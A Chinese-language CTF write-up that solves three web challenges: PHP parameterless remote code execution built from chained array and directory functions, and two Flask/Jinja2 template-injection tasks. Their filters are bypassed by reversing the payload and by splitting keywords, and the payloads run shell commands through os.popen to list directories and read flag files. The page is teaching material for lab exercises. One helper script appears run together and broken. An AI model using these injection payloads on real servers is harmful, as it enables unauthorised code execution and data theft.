[HNCTF 2022 WEEK2]Canyource(无参数)
通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性
这里是利用php函数来构造读取flag的方法
localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
pos() – 返回数组中的当前单元, 默认取第一个值
next – 将内部指针指向数组下一个元素并输出
scandir() – 扫描目录
array_reverse() – 翻转数组
array_flip() - 键名与数组值对调
readfile()
array_rand() - 随机读取键名
var_dump() - 输出数组,可以用print_r替代
file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
get_defined_vars() - 返回由所有已定义变量所组成的数组
end() - 读取数组最后一个元素
current() - 读取数组的第一个元
打开环境,看见';'就能意识到是无参数了
注意这里不是apache环境,所以getallheaders没用,当时我就是尝试了很久都没有成功
先查看返回包含信息的数组
code=var_dump(localeconv())
返回数组中的单元,这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."
code=var_dump(pos(localeconv()))
返回单元后,扫描单元下目录,利用scandir函数
code=var_dump(scandir(pos(localeconv())))
看见了flag,要读取,high和show都被过滤了,所以可以用file_get_contents(),但是flag没有在第一个数组,也没有在第二个数组(如果在第二个数组就可以用next使得内部指针指向下一个单位来读取)
可以翻转后再进行调整
code=var_dump(array_reverse(scandir(pos(localeconv()))))
此时的flag就在第二个位置,用next调整指针位置来读取
code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))
这题主要是无参数RCE的另外一种构造
[HZNUCTF 2023 preliminary]flask(倒序排序)
打开环境,看见name在做了一些题的情况下应该是能想到SSTI的,开始测试注入的模板
在测试的时候发现对字符串进行了倒序排序,在尝试了6{*comment*}6之后,在尝试{{7*7}}时报错了
在尝试{{7*7}}时报错了(我以为是自己判断的问题,没去想过滤的问题,看了wp才知道是存在过滤,对{{进行了过滤)
既然存在倒序排序,那么就倒序排序payload后注入,负负得正,确实是jinja2模板类型
利用脚本对payload进行倒序排序,如果想尝试手工注入也是可以的
import base64strA = input()
strB = strA[::-1]print(strB)
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
看见flag了,但是cat出来不是flag
又去查lwp才知道flag在env(环境变量)中,这个环境变量真不容易想到,记得有一次的ctf比赛就有一题flag藏在env里面,但是那题给来语句的暗示,这里我没明白怎么猜到的env
[NCTF 2018]flask真香(字符串拼接)
打开环境,可以直接传参来进行测试
这说明了是SSTI中jinja2的模板类型注入,按照正常来说,应该进行class来返回对象的类
{{""['__class__']}}
没有回显,fuzz一下,不止SQL可以fuzz,SSTI也可以
过滤了一些命令吧,那么绕过就是首要问题, 我以为是要用新的命令来代替,没想到是进行拼接
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D
os位置269
{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}
看见flag,tac/flag
%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D